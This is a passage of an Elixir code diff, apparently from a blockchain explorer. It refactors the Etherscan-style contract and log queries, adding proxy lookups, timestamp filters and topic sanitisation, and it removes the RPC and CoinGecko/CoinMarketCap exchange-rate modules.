Explorer.{Chain, Repo} + alias Explorer.Repo alias Explorer.Chain.{Address, Hash, SmartContract} + alias Explorer.Chain.SmartContract.Proxy + alias Explorer.Chain.SmartContract.Proxy.Models.Implementation + @doc """ + Returns address with preloaded SmartContract and proxy info if it exists + """ @spec address_hash_to_address_with_source_code(Hash.Address.t()) :: Address.t() | nil - def address_hash_to_address_with_source_code(address_hash) do + def address_hash_to_address_with_source_code(address_hash, twin_needed? \\ true) do result = case Repo.replica().get(Address, address_hash) do nil -> @@ -23,9 +29,7 @@ defmodule Explorer.Etherscan.Contracts do address -> address_with_smart_contract = Repo.replica().preload(address, [ - :smart_contract, - :decompiled_smart_contracts, - :smart_contract_additional_sources + [smart_contract: :smart_contract_additional_sources] ]) if address_with_smart_contract.smart_contract do @@ -36,20 +40,27 @@ defmodule Explorer.Etherscan.Contracts do | smart_contract: %{address_with_smart_contract.smart_contract | contract_source_code: formatted_code} } else - address_verified_twin_contract = - Chain.get_minimal_proxy_template(address_hash) || - Chain.get_address_verified_twin_contract(address_hash).verified_contract - - if address_verified_twin_contract do - formatted_code = format_source_code_output(address_verified_twin_contract) - - %{ - address_with_smart_contract - | smart_contract: %{address_verified_twin_contract | contract_source_code: formatted_code} - } - else - address_with_smart_contract - end + implementation_smart_contract = + SmartContract.single_implementation_smart_contract_from_proxy( + %{ + updated: %SmartContract{ + address_hash: address_hash, + abi: nil + }, + implementation_updated_at: nil, + implementation_address_fetched?: false, + refetch_necessity_checked?: false + }, + [] + ) + + address_verified_bytecode_twin_contract = + implementation_smart_contract || maybe_fetch_bytecode_twin(twin_needed?, address_hash) + + compose_address_with_smart_contract( + address_with_smart_contract, + address_verified_bytecode_twin_contract + ) end end @@ -57,17 +68,32 @@ defmodule Explorer.Etherscan.Contracts do |> append_proxy_info() end + defp maybe_fetch_bytecode_twin(twin_needed?, address_hash), + do: if(twin_needed?, do: SmartContract.get_address_verified_bytecode_twin_contract(address_hash)) + + defp compose_address_with_smart_contract(address_with_smart_contract, address_verified_bytecode_twin_contract) do + if address_verified_bytecode_twin_contract do + formatted_code = format_source_code_output(address_verified_bytecode_twin_contract) + + %{ + address_with_smart_contract + | smart_contract: %{address_verified_bytecode_twin_contract | contract_source_code: formatted_code} + } + else + address_with_smart_contract + end + end + def append_proxy_info(%Address{smart_contract: smart_contract} = address) when not is_nil(smart_contract) do updated_smart_contract = - if Chain.proxy_contract?(address.hash, smart_contract.abi) do + if Proxy.proxy_contract?(smart_contract) do + implementation = Implementation.get_implementation(smart_contract) + smart_contract |> Map.put(:is_proxy, true) |> Map.put( - :implementation_address_hash_string, - address.hash - |> Chain.get_implementation_address_hash(smart_contract.abi) - |> Tuple.to_list() - |> List.first() + :implementation_address_hash_strings, + implementation.address_hashes ) else smart_contract @@ -80,7 +106,7 @@ defmodule Explorer.Etherscan.Contracts do def append_proxy_info(address), do: address - def list_verified_contracts(limit, offset) do + def list_verified_contracts(limit, offset, opts) do query = from( smart_contract in SmartContract, @@ -90,57 +116,42 @@ defmodule Explorer.Etherscan.Contracts do preload: [:address] ) - query - |> Repo.replica().all() - |> Enum.map(fn smart_contract -> - Map.put(smart_contract.address, :smart_contract, smart_contract) - end) - end + verified_at_start_timestamp_exist? = Map.has_key?(opts, :verified_at_start_timestamp) + verified_at_end_timestamp_exist? = Map.has_key?(opts, :verified_at_end_timestamp) - def list_decompiled_contracts(limit, offset, not_decompiled_with_version \\ nil) do - query = - from( - address in Address, - where: address.contract_code != <<>>, - where: not is_nil(address.contract_code), - where: address.decompiled == true, - limit: ^limit, - offset: ^offset, - order_by: [asc: address.inserted_at], - preload: [:smart_contract] - ) + query_in_timestamp_range = + cond do + verified_at_start_timestamp_exist? && verified_at_end_timestamp_exist? -> + query + |> where([smart_contract], smart_contract.inserted_at >= ^opts.verified_at_start_timestamp) + |> where([smart_contract], smart_contract.inserted_at < ^opts.verified_at_end_timestamp) - query - |> reject_decompiled_with_version(not_decompiled_with_version) - |> Repo.replica().all() - end + verified_at_start_timestamp_exist? -> + query + |> where([smart_contract], smart_contract.inserted_at >= ^opts.verified_at_start_timestamp) - def list_unordered_unverified_contracts(limit, offset) do - query = - from( - address in Address, - where: address.contract_code != <<>>, - where: not is_nil(address.contract_code), - where: fragment("? IS NOT TRUE", address.verified), - limit: ^limit, - offset: ^offset - ) + verified_at_end_timestamp_exist? -> + query + |> where([smart_contract], smart_contract.inserted_at < ^opts.verified_at_end_timestamp) - query + true -> + query + end + + query_in_timestamp_range |> Repo.replica().all() - |> Enum.map(fn address -> - %{address | smart_contract: nil} + |> Enum.map(fn smart_contract -> + Map.put(smart_contract.address, :smart_contract, smart_contract) end) end - def list_unordered_not_decompiled_contracts(limit, offset) do + def list_unordered_unverified_contracts(limit, offset) do query = from( address in Address, - where: fragment("? IS NOT TRUE", address.verified), - where: fragment("? IS NOT TRUE", address.decompiled), - where: address.contract_code != <<>>, + where: address.contract_code != ^%Explorer.Chain.Data{bytes: <<>>}, where: not is_nil(address.contract_code), + where: fragment("? IS NOT TRUE", address.verified), limit: ^limit, offset: ^offset ) @@ -155,8 +166,8 @@ defmodule Explorer.Etherscan.Contracts do def list_empty_contracts(limit, offset) do query = from(address in Address, - where: address.contract_code == <<>>, - preload: [:smart_contract, :decompiled_smart_contracts], + where: address.contract_code == ^%Explorer.Chain.Data{bytes: <<>>}, + preload: [:smart_contract], order_by: [asc: address.inserted_at], limit: ^limit, offset: ^offset @@ -180,15 +191,4 @@ defmodule Explorer.Etherscan.Contracts do end defp format_source_code_output(smart_contract), do: smart_contract.contract_source_code - - defp reject_decompiled_with_version(query, nil), do: query - - defp reject_decompiled_with_version(query, reject_version) do - from( - address in query, - left_join: decompiled_smart_contract in assoc(address, :decompiled_smart_contracts), - on: decompiled_smart_contract.decompiler_version == ^reject_version, - where: is_nil(decompiled_smart_contract.address_hash) - ) - end end diff --git a/apps/explorer/lib/explorer/etherscan/logs.ex b/apps/explorer/lib/explorer/etherscan/logs.ex index 006c0a2e191b..1a925eb480fc 100644 --- a/apps/explorer/lib/explorer/etherscan/logs.ex +++ b/apps/explorer/lib/explorer/etherscan/logs.ex @@ -5,10 +5,10 @@ defmodule Explorer.Etherscan.Logs do """ - import Ecto.Query, only: [from: 2, where: 3, subquery: 1, order_by: 3, union: 2] + import Ecto.Query, only: [from: 2, limit: 2, where: 3, subquery: 1, order_by: 3] alias Explorer.{Chain, Repo} - alias Explorer.Chain.{Block, InternalTransaction, Log, Transaction} + alias Explorer.Chain.{DenormalizationHelper, Log, Transaction} @base_filter %{ from_block: nil, @@ -34,11 +34,10 @@ defmodule Explorer.Etherscan.Logs do :fourth_topic, :index, :address_hash, - :transaction_hash, - :type + :transaction_hash ] - @default_paging_options %{block_number: nil, transaction_index: nil, log_index: nil} + @default_paging_options %{block_number: nil, log_index: nil} @doc """ Gets a list of logs that meet the criteria in a given filter map. @@ -76,77 +75,61 @@ defmodule Explorer.Etherscan.Logs do paging_options = if is_nil(paging_options), do: @default_paging_options, else: paging_options prepared_filter = Map.merge(@base_filter, filter) - logs_query = where_topic_match(Log, prepared_filter) - - query_to_address_hash_wrapped = - logs_query - |> internal_transaction_query(:to_address_hash, prepared_filter, address_hash) - |> Chain.wrapped_union_subquery() - - query_from_address_hash_wrapped = - logs_query - |> internal_transaction_query(:from_address_hash, prepared_filter, address_hash) - |> Chain.wrapped_union_subquery() + logs_query = + Log + |> where_topic_match(prepared_filter) + |> where([log], log.address_hash == ^address_hash) + |> where([log], log.block_number >= ^prepared_filter.from_block) + |> where([log], log.block_number <= ^prepared_filter.to_block) + |> limit(1000) + |> page_logs(paging_options) + + if DenormalizationHelper.transactions_denormalization_finished?() do + all_transaction_logs_query = + from(log in subquery(logs_query), + join: transaction in Transaction, + on: log.transaction_hash == transaction.hash and log.block_hash == transaction.block_hash, + where: transaction.block_consensus == true, + select: map(log, ^@log_fields), + select_merge: %{ + gas_price: transaction.gas_price, + gas_used: transaction.gas_used, + transaction_index: transaction.index, + block_hash: transaction.block_hash, + block_number: transaction.block_number, + block_timestamp: transaction.block_timestamp, + block_consensus: transaction.block_consensus + } + ) - query_created_contract_address_hash_wrapped = - logs_query - |> internal_transaction_query(:created_contract_address_hash, prepared_filter, address_hash) + all_transaction_logs_query |> Chain.wrapped_union_subquery() - - internal_transaction_log_query = - query_to_address_hash_wrapped - |> union(^query_from_address_hash_wrapped) - |> union(^query_created_contract_address_hash_wrapped) - - all_transaction_logs_query = - from(transaction in Transaction, - join: log in ^logs_query, - on: log.transaction_hash == transaction.hash, - where: transaction.block_number >= ^prepared_filter.from_block, - where: transaction.block_number <= ^prepared_filter.to_block, - where: - transaction.to_address_hash == ^address_hash or - transaction.from_address_hash == ^address_hash or - transaction.created_contract_address_hash == ^address_hash, - select: map(log, ^@log_fields), - select_merge: %{ - gas_price: transaction.gas_price, - gas_used: transaction.gas_used, - transaction_index: transaction.index, - block_number: transaction.block_number - }, - union: ^internal_transaction_log_query - ) - - query_with_blocks = - from(log_transaction_data in subquery(all_transaction_logs_query), - join: block in Block, - on: block.number == log_transaction_data.block_number, - where: log_transaction_data.address_hash == ^address_hash, - order_by: block.number, - limit: 1000, - select_merge: %{ - transaction_index: log_transaction_data.transaction_index, - block_hash: block.hash, - block_number: block.number, - block_timestamp: block.timestamp, - block_consensus: block.consensus - } - ) - - query_with_consensus = - if Map.get(filter, :allow_non_consensus) do - query_with_blocks - else - from([_, block] in query_with_blocks, - where: block.consensus == true + |> order_by([log], asc: log.block_number, asc: log.index) + |> Repo.replica().all() + else + all_transaction_logs_query = + from(log in subquery(logs_query), + join: transaction in Transaction, + on: log.transaction_hash == transaction.hash and log.block_hash == transaction.block_hash, + inner_join: block in assoc(transaction, :block), + where: block.consensus == true, + select: map(log, ^@log_fields), + select_merge: %{ + gas_price: transaction.gas_price, + gas_used: transaction.gas_used, + transaction_index: transaction.index, + block_hash: transaction.block_hash, + block_number: transaction.block_number, + block_timestamp: block.timestamp, + block_consensus: block.consensus + } ) - end - query_with_consensus - |> order_by([log], asc: log.index) - |> page_logs(paging_options) - |> Repo.replica().all() + all_transaction_logs_query + |> Chain.wrapped_union_subquery() + |> order_by([log], asc: log.block_number, asc: log.index) + |> Repo.replica().all() + end end # Since address_hash was not present, we know that a @@ -156,49 +139,76 @@ defmodule Explorer.Etherscan.Logs do def list_logs(filter, paging_options) do paging_options = if is_nil(paging_options), do: @default_paging_options, else: paging_options prepared_filter = Map.merge(@base_filter, filter) - logs_query = where_topic_match(Log, prepared_filter) - block_transaction_query = - from(transaction in Transaction, - join: block in assoc(transaction, :block), - where: block.number >= ^prepared_filter.from_block, - where: block.number <= ^prepared_filter.to_block, - select: %{ - transaction_hash: transaction.hash, - gas_price: transaction.gas_price, - gas_used: transaction.gas_used, - transaction_index: transaction.index, - block_hash: block.hash, - block_number: block.number, - block_timestamp: block.timestamp, - block_consensus: block.consensus - } - ) - - query_with_consensus = - if Map.get(filter, :allow_non_consensus) do - block_transaction_query - else - from([_, block] in block_transaction_query, - where: block.consensus == true + if DenormalizationHelper.transactions_denormalization_finished?() do + block_transaction_query = + from(transaction in Transaction, + where: transaction.block_number >= ^prepared_filter.from_block, + where: transaction.block_number <= ^prepared_filter.to_block, + where: transaction.block_consensus == true, + select: %{ + transaction_hash: transaction.hash, + gas_price: transaction.gas_price, + gas_used: transaction.gas_used, + transaction_index: transaction.index, + block_hash: transaction.block_hash, + block_number: transaction.block_number, + block_timestamp: transaction.block_timestamp, + block_consensus: transaction.block_consensus + } + ) + + query_with_block_transaction_data = + from(log in logs_query, + join: block_transaction_data in subquery(block_transaction_query), + on: + block_transaction_data.transaction_hash == log.transaction_hash and + block_transaction_data.block_hash == log.block_hash, + order_by: block_transaction_data.block_number, + limit: 1000, + select: block_transaction_data, + select_merge: map(log, ^@log_fields) + ) + + query_with_block_transaction_data + |> order_by([log], asc: log.index) + |> page_logs(paging_options) + |> Repo.replica().all() + else + block_transaction_query = + from(transaction in Transaction, + join: block in assoc(transaction, :block), + where: block.number >= ^prepared_filter.from_block, + where: block.number <= ^prepared_filter.to_block, + where: block.consensus == true, + select: %{ + transaction_hash: transaction.hash, + gas_price: transaction.gas_price, + gas_used: transaction.gas_used, + transaction_index: transaction.index, + block_hash: block.hash, + block_number: block.number, + block_timestamp: block.timestamp, + block_consensus: block.consensus + } ) - end - - query_with_block_transaction_data = - from(log in logs_query, - join: block_transaction_data in subquery(query_with_consensus), - on: block_transaction_data.transaction_hash == log.transaction_hash, - order_by: block_transaction_data.block_number, - limit: 1000, - select: block_transaction_data, - select_merge: map(log, ^@log_fields) - ) - - query_with_block_transaction_data - |> order_by([log], asc: log.index) - |> page_logs(paging_options) - |> Repo.replica().all() + + query_with_block_transaction_data = + from(log in logs_query, + join: block_transaction_data in subquery(block_transaction_query), + on: block_transaction_data.transaction_hash == log.transaction_hash, + order_by: block_transaction_data.block_number, + limit: 1000, + select: block_transaction_data, + select_merge: map(log, ^@log_fields) + ) + + query_with_block_transaction_data + |> order_by([log], asc: log.index) + |> page_logs(paging_options) + |> Repo.replica().all() + end end @topics [ @@ -218,6 +228,8 @@ defmodule Explorer.Etherscan.Logs do } defp where_topic_match(query, filter) do + filter = sanitize_filter_topics(filter) + case Enum.filter(@topics, &filter[&1]) do [] -> query @@ -230,6 +242,46 @@ defmodule Explorer.Etherscan.Logs do end end + defp sanitize_filter_topics(filter) do + @topics + |> Enum.reduce(filter, fn topic, acc -> + topic_value = filter[topic] + + sanitized_value = + topic_value + |> List.wrap() + |> Enum.map(&sanitize_topic_value/1) + |> Enum.reject(&is_nil/1) + |> case do + [] -> nil + [topic] -> topic + topics -> topics + end + + Map.put(acc, topic, sanitized_value) + end) + end + + defp sanitize_topic_value(topic_value) do + case topic_value do + %Explorer.Chain.Hash{} -> + topic_value + + _ -> + sanitize_string_topic_value(topic_value) + end + end + + defp sanitize_string_topic_value(topic_value) do + case Chain.string_to_full_hash(topic_value) do + {:ok, _} -> + topic_value + + _ -> + nil + end + end + defp where_multiple_topics_match(query, filter) do Enum.reduce(Map.keys(@topic_operations), query, fn topic_operation, acc_query -> where_multiple_topics_match(acc_query, filter, topic_operation, filter[topic_operation]) @@ -248,37 +300,14 @@ defmodule Explorer.Etherscan.Logs do defp where_multiple_topics_match(query, _, _, _), do: query - defp page_logs(query, %{block_number: nil, transaction_index: nil, log_index: nil}) do + defp page_logs(query, %{block_number: nil, log_index: nil}) do query end - defp page_logs(query, %{block_number: block_number, transaction_index: transaction_index, log_index: log_index}) do + defp page_logs(query, %{block_number: block_number, log_index: log_index}) do from( data in query, - where: - data.index > ^log_index and data.block_number >= ^block_number and - data.transaction_index >= ^transaction_index + where: {data.block_number, data.index} > {^block_number, ^log_index} ) end - - defp internal_transaction_query(logs_query, direction, prepared_filter, address_hash) do - query = - from(internal_transaction in InternalTransaction.where_nonpending_block(), - join: transaction in assoc(internal_transaction, :transaction), - join: log in ^logs_query, - on: log.transaction_hash == internal_transaction.transaction_hash, - where: internal_transaction.block_number >= ^prepared_filter.from_block, - where: internal_transaction.block_number <= ^prepared_filter.to_block, - select: - merge(map(log, ^@log_fields), %{ - gas_price: transaction.gas_price, - gas_used: transaction.gas_used, - transaction_index: transaction.index, - block_number: internal_transaction.block_number - }) - ) - - query - |> InternalTransaction.where_address_fields_match(address_hash, direction) - end end diff --git a/apps/explorer/lib/explorer/etherscan/rpc.ex b/apps/explorer/lib/explorer/etherscan/rpc.ex deleted file mode 100644 index efb163d64351..000000000000 --- a/apps/explorer/lib/explorer/etherscan/rpc.ex +++ /dev/null @@ -1,40 +0,0 @@ -defmodule Explorer.Etherscan.RPC do - @moduledoc """ - This module contains functions for working with mimicking of ETH RPC. - - """ - - import Ecto.Query, - only: [ - from: 2 - ] - - alias Explorer.{Chain, Repo} - alias Explorer.Chain.Block - - @spec max_non_consensus_block_number(integer | nil) :: {:ok, Block.block_number()} | {:error, :not_found} - def max_non_consensus_block_number(max_consensus_block_number \\ nil) do - max = - if max_consensus_block_number do - {:ok, max_consensus_block_number} - else - Chain.max_consensus_block_number() - end - - case max do - {:ok, number} -> - query = - from(block in Block, - where: block.consensus == false, - where: block.number > ^number - ) - - query - |> Repo.replica().aggregate(:max, :number) - |> case do - nil -> {:error, :not_found} - number -> {:ok, number} - end - end - end -end diff --git a/apps/explorer/lib/explorer/exchange_rates/exchange_rates.ex b/apps/explorer/lib/explorer/exchange_rates/exchange_rates.ex deleted file mode 100644 index 0d92f7bfb7c3..000000000000 --- a/apps/explorer/lib/explorer/exchange_rates/exchange_rates.ex +++ /dev/null @@ -1,145 +0,0 @@ -defmodule Explorer.ExchangeRates do - @moduledoc """ - Local cache for token exchange rates. - - Exchange rate data is updated every 10 minutes or CACHE_EXCHANGE_RATES_PERIOD seconds. - """ - - use GenServer - - require Logger - - alias Explorer.Chain.Events.Publisher - alias Explorer.Counters.Helper - alias Explorer.ExchangeRates.{Source, Token} - - @interval Helper.cache_period_default_in_minutes("CACHE_EXCHANGE_RATES_PERIOD", 10) - @table_name :exchange_rates - - @impl GenServer - def handle_info(:update, state) do - Logger.debug(fn -> "Updating cached exchange rates" end) - - fetch_rates() - - {:noreply, state} - end - - # Callback for successful fetch - @impl GenServer - def handle_info({_ref, {:ok, tokens}}, state) do - if store() == :ets do - records = Enum.map(tokens, &Token.to_tuple/1) - :ets.insert(table_name(), records) - end - - broadcast_event(:exchange_rate) - - {:noreply, state} - end - - # Callback for errored fetch - @impl GenServer - def handle_info({_ref, {:error, reason}}, state) do - Logger.warn(fn -> "Failed to get exchange rates with reason '#{reason}'." end) - - schedule_next_consolidation() - - {:noreply, state} - end - - # Callback that a monitored process has shutdown - @impl GenServer - def handle_info({:DOWN, _, :process, _, _}, state) do - {:noreply, state} - end - - @impl GenServer - def init(_) do - send(self(), :update) - :timer.send_interval(@interval, :update) - - table_opts = [ - :set, - :named_table, - :public, - read_concurrency: true, - write_concurrency: true - ] - - if store() == :ets do - :ets.new(table_name(), table_opts) - end - - {:ok, %{}} - end - - def start_link(opts) do - GenServer.start_link(__MODULE__, opts, name: __MODULE__) - end - - defp schedule_next_consolidation do - Process.send_after(self(), :update, :timer.minutes(1)) - end - - @doc """ - Lists exchange rates for the tracked tickers. - """ - @spec list :: [Token.t()] - def list do - list_from_store(store()) - end - - @doc """ - Returns a specific rate from the tracked tickers by symbol - """ - @spec lookup(String.t()) :: Token.t() | nil - def lookup(symbol) do - if store() == :ets && enabled?() do - case :ets.lookup(table_name(), symbol) do - [tuple | _] when is_tuple(tuple) -> Token.from_tuple(tuple) - _ -> nil - end - end - end - - @doc false - @spec table_name() :: atom() - def table_name do - config(:table_name) || @table_name - end - - @spec broadcast_event(atom()) :: :ok - defp broadcast_event(event_type) do - Publisher.broadcast(event_type) - end - - @spec config(atom()) :: term - defp config(key) do - Application.get_env(:explorer, __MODULE__, [])[key] - end - - @spec fetch_rates :: Task.t() - defp fetch_rates do - Task.Supervisor.async_nolink(Explorer.MarketTaskSupervisor, fn -> - Source.fetch_exchange_rates() - end) - end - - defp list_from_store(:ets) do - table_name() - |> :ets.tab2list() - |> Enum.map(&Token.from_tuple/1) - |> Enum.sort_by(fn %Token{symbol: symbol} -> symbol end) - end - - defp list_from_store(_), do: [] - - defp store do - config(:store) || :ets - end - - defp enabled? do - Application.get_env(:explorer, __MODULE__, [])[:enabled] == true - end -end diff --git a/apps/explorer/lib/explorer/exchange_rates/source.ex b/apps/explorer/lib/explorer/exchange_rates/source.ex deleted file mode 100644 index 09cc0c84f750..000000000000 --- a/apps/explorer/lib/explorer/exchange_rates/source.ex +++ /dev/null @@ -1,148 +0,0 @@ -defmodule Explorer.ExchangeRates.Source do - @moduledoc """ - Behaviour for fetching exchange rates from external sources. - """ - alias Explorer.ExchangeRates.Source.CoinGecko - alias Explorer.ExchangeRates.Token - alias HTTPoison.{Error, Response} - - @doc """ - Fetches exchange rates for currencies/tokens. - """ - @spec fetch_exchange_rates(module) :: {:ok, [Token.t()]} | {:error, any} - def fetch_exchange_rates(source \\ exchange_rates_source()) do - source_url = source.source_url() - fetch_exchange_rates_request(source, source_url, source.headers()) - end - - @spec fetch_exchange_rates_for_token(String.t()) :: {:ok, [Token.t()]} | {:error, any} - def fetch_exchange_rates_for_token(symbol) do - source_url = CoinGecko.source_url(symbol) - headers = CoinGecko.headers() - fetch_exchange_rates_request(CoinGecko, source_url, headers) - end - - @spec fetch_exchange_rates_for_token_address(String.t()) :: {:ok, [Token.t()]} | {:error, any} - def fetch_exchange_rates_for_token_address(address_hash) do - source_url = CoinGecko.source_url(address_hash) - headers = CoinGecko.headers() - fetch_exchange_rates_request(CoinGecko, source_url, headers) - end - - defp fetch_exchange_rates_request(_source, source_url, _headers) when is_nil(source_url), - do: {:error, "Source URL is nil"} - - defp fetch_exchange_rates_request(source, source_url, headers) do - case http_request(source_url, headers) do - {:ok, result} = resp -> - if is_map(result) do - result_formatted = - result - |> source.format_data() - - {:ok, result_formatted} - else - resp - end - - resp -> - resp - end - end - - @doc """ - Callback for api's to format the data returned by their query. - """ - @callback format_data(String.t()) :: [any] - - @doc """ - Url for the api to query to get the market info. - """ - @callback source_url :: String.t() - - @callback source_url(String.t()) :: String.t() | :ignore - - @callback headers :: [any] - - def headers do - [{"Content-Type", "application/json"}] - end - - def decode_json(data) do - Jason.decode!(data) - rescue - _ -> data - end - - def to_decimal(nil), do: nil - - def to_decimal(%Decimal{} = value), do: value - - def to_decimal(value) when is_float(value) do - Decimal.from_float(value) - end - - def to_decimal(value) when is_integer(value) or is_binary(value) do - Decimal.new(value) - end - - @spec exchange_rates_source() :: module() - defp exchange_rates_source do - config(:source) || Explorer.ExchangeRates.Source.CoinGecko - end - - @spec config(atom()) :: term - defp config(key) do - Application.get_env(:explorer, __MODULE__, [])[key] - end - - def http_request(source_url, additional_headers) do - case HTTPoison.get(source_url, headers() ++ additional_headers) do - {:ok, %Response{body: body, status_code: 200}} -> - parse_http_success_response(body) - - {:ok, %Response{body: body, status_code: status_code}} when status_code in 400..526 -> - parse_http_error_response(body) - - {:ok, %Response{status_code: status_code}} when status_code in 300..308 -> - {:error, "Source redirected"} - - {:ok, %Response{status_code: _status_code}} -> - {:error, "Source unexpected status code"} - - {:error, %Error{reason: reason}} -> - {:error, reason} - - {:error, :nxdomain} -> - {:error, "Source is not responsive"} - - {:error, _} -> - {:error, "Source unknown response"} - end - end - - defp parse_http_success_response(body) do - body_json = decode_json(body) - - cond do - is_map(body_json) -> - {:ok, body_json} - - is_list(body_json) -> - {:ok, body_json} - - true -> - {:ok, body} - end - end - - defp parse_http_error_response(body) do - body_json = decode_json(body) - - if is_map(body_json) do - {:error, body_json["error"]} - else - {:error, body} - end - end -end diff --git a/apps/explorer/lib/explorer/exchange_rates/source/coin_gecko.ex b/apps/explorer/lib/explorer/exchange_rates/source/coin_gecko.ex deleted file mode 100644 index 25fe8bc9aa0d..000000000000 --- a/apps/explorer/lib/explorer/exchange_rates/source/coin_gecko.ex +++ /dev/null @@ -1,226 +0,0 @@ -defmodule Explorer.ExchangeRates.Source.CoinGecko do - @moduledoc """ - Adapter for fetching exchange rates from https://coingecko.com - """ - - alias Explorer.{Chain, ExchangeRates} - alias Explorer.ExchangeRates.{Source, Token} - - import Source, only: [to_decimal: 1] - - @behaviour Source - - @impl Source - def format_data(%{"market_data" => _} = json_data) do - market_data = json_data["market_data"] - - last_updated = get_last_updated(market_data) - current_price = get_current_price(market_data) - - id = json_data["id"] - - btc_value = - if Application.get_env(:explorer, Explorer.ExchangeRates)[:fetch_btc_value], do: get_btc_value(id, market_data) - - circulating_supply_data = market_data && market_data["circulating_supply"] - total_supply_data = market_data && market_data["total_supply"] - market_cap_data_usd = market_data && market_data["market_cap"] && market_data["market_cap"]["usd"] - total_volume_data_usd = market_data && market_data["total_volume"] && market_data["total_volume"]["usd"] - - [ - %Token{ - available_supply: to_decimal(circulating_supply_data), - total_supply: to_decimal(total_supply_data) || to_decimal(circulating_supply_data), - btc_value: btc_value, - id: id, - last_updated: last_updated, - market_cap_usd: to_decimal(market_cap_data_usd), - name: json_data["name"], - symbol: String.upcase(json_data["symbol"]), - usd_value: current_price, - volume_24h_usd: to_decimal(total_volume_data_usd) - } - ] - end - - @impl Source - def format_data(_), do: [] - - @impl Source - def source_url do - explicit_coin_id = Application.get_env(:explorer, ExchangeRates)[:coingecko_coin_id] - - {:ok, id} = - if explicit_coin_id do - {:ok, explicit_coin_id} - else - case coin_id() do - {:ok, id} -> - {:ok, id} - - _ -> - {:ok, nil} - end - end - - if id, do: "#{base_url()}/coins/#{id}", else: nil - end - - @impl Source - def source_url(input) do - case Chain.Hash.Address.cast(input) do - {:ok, _} -> - address_hash_str = input - "#{base_url()}/coins/ethereum/contract/#{address_hash_str}" - - _ -> - symbol = input - - id = - case coin_id(symbol) do - {:ok, id} -> - id - - _ -> - nil - end - - if id, do: "#{base_url()}/coins/#{id}", else: nil - end - end - - @impl Source - def headers do - if api_key() do - [{"X-Cg-Pro-Api-Key", "#{api_key()}"}] - else - [] - end - end - - defp api_key do - Application.get_env(:explorer, ExchangeRates)[:coingecko_api_key] || nil - end - - def coin_id do - symbol = String.downcase(Explorer.coin()) - - coin_id(symbol) - end - - def coin_id(symbol) do - id_mapping = token_symbol_to_id_mapping_to_get_price(symbol) - - if id_mapping do - {:ok, id_mapping} - else - url = "#{base_url()}/coins/list" - - symbol_downcase = String.downcase(symbol) - - case Source.http_request(url, headers()) do - {:ok, data} = resp -> - if is_list(data) do - symbol_data = - Enum.find(data, fn item -> - item["symbol"] == symbol_downcase - end) - - if symbol_data do - {:ok, symbol_data["id"]} - else - {:error, :not_found} - end - else - resp - end - - resp -> - resp - end - end - end - - defp get_last_updated(market_data) do - last_updated_data = market_data && market_data["last_updated"] - - if last_updated_data do - {:ok, last_updated, 0} = DateTime.from_iso8601(last_updated_data) - last_updated - else - nil - end - end - - defp get_current_price(market_data) do - if market_data["current_price"] do - to_decimal(market_data["current_price"]["usd"]) - else - 1 - end - end - - defp get_btc_value(id, market_data) do - case get_btc_price() do - {:ok, price} -> - btc_price = to_decimal(price) - current_price = get_current_price(market_data) - - if id != "btc" && current_price && btc_price do - Decimal.div(current_price, btc_price) - else - 1 - end - - _ -> - 1 - end - end - - defp base_url do - if api_key() do - base_pro_url() - else - base_free_url() - end - end - - defp base_free_url do - config(:base_url) || "https://api.coingecko.com/api/v3" - end - - defp base_pro_url do - config(:base_pro_url) || "https://pro-api.coingecko.com/api/v3" - end - - defp get_btc_price(currency \\ "usd") do - url = "#{base_url()}/exchange_rates" - - case Source.http_request(url, headers()) do - {:ok, data} = resp -> - if is_map(data) do - current_price = data["rates"][currency]["value"] - - {:ok, current_price} - else - resp - end - - resp -> - resp - end - end - - @spec config(atom()) :: term - defp config(key) do - Application.get_env(:explorer, __MODULE__, [])[key] - end - - defp token_symbol_to_id_mapping_to_get_price(symbol) do - case symbol do - "UNI" -> "uniswap" - "SURF" -> "surf-finance" - _symbol -> nil - end - end -end diff --git a/apps/explorer/lib/explorer/exchange_rates/source/coin_market_cap.ex b/apps/explorer/lib/explorer/exchange_rates/source/coin_market_cap.ex deleted file mode 100644 index f20d179b32df..000000000000 --- a/apps/explorer/lib/explorer/exchange_rates/source/coin_market_cap.ex +++ /dev/null @@ -1,192 +0,0 @@ -defmodule Explorer.ExchangeRates.Source.CoinMarketCap do - @moduledoc """ - Adapter for fetching exchange rates from https://coinmarketcap.com/api/ - """ - - alias Explorer.{Chain, ExchangeRates} - alias Explorer.ExchangeRates.{Source, Token} - - import Source, only: [to_decimal: 1] - - @behaviour Source - - @impl Source - def format_data(%{"data" => _} = json_data) do - market_data = json_data["data"] - token_properties = get_token_properties(market_data) - - last_updated = get_last_updated(token_properties) - current_price = get_current_price(token_properties) - - id = token_properties && token_properties["id"] - - btc_value = - if Application.get_env(:explorer, Explorer.ExchangeRates)[:fetch_btc_value], - do: get_btc_value(id, token_properties) - - circulating_supply_data = get_circulating_supply(token_properties) - - total_supply_data = get_total_supply(token_properties) - - market_cap_data_usd = get_market_cap_data_usd(token_properties) - - total_volume_data_usd = get_total_volume_data_usd(token_properties) - - [ - %Token{ - available_supply: to_decimal(circulating_supply_data), - total_supply: to_decimal(total_supply_data) || to_decimal(circulating_supply_data), - btc_value: btc_value, - id: id, - last_updated: last_updated, - market_cap_usd: to_decimal(market_cap_data_usd), - name: token_properties && token_properties["name"], - symbol: token_properties && String.upcase(token_properties["symbol"]), - usd_value: current_price, - volume_24h_usd: to_decimal(total_volume_data_usd) - } - ] - end - - @impl Source - def format_data(_), do: [] - - @impl Source - def source_url do - coin = Explorer.coin() - symbol = if coin, do: String.upcase(Explorer.coin()), else: nil - - if symbol, do: "#{api_quotes_latest_url()}?symbol=#{symbol}&CMC_PRO_API_KEY=#{api_key()}", else: nil - end - - @impl Source - def source_url(input) do - case Chain.Hash.Address.cast(input) do - {:ok, _} -> - # todo: find symbol by contract address hash - nil - - _ -> - symbol = if input, do: input |> String.upcase(), else: nil - - if symbol, - do: "#{api_quotes_latest_url()}?symbol=#{symbol}&CMC_PRO_API_KEY=#{api_key()}", - else: nil - end - end - - @impl Source - def headers do - [] - end - - defp api_key do - Application.get_env(:explorer, ExchangeRates)[:coinmarketcap_api_key] - end - - defp get_token_properties(market_data) do - token_values_list = - market_data - |> Map.values() - - if Enum.count(token_values_list) > 0 do - token_values = token_values_list |> Enum.at(0) - - if Enum.count(token_values) > 0 do - token_values |> Enum.at(0) - else - %{} - end - else - %{} - end - end - - defp get_circulating_supply(token_properties) do - token_properties && token_properties["circulating_supply"] - end - - defp get_total_supply(token_properties) do - token_properties && token_properties["total_supply"] - end - - defp get_market_cap_data_usd(token_properties) do - token_properties && token_properties["quote"] && - 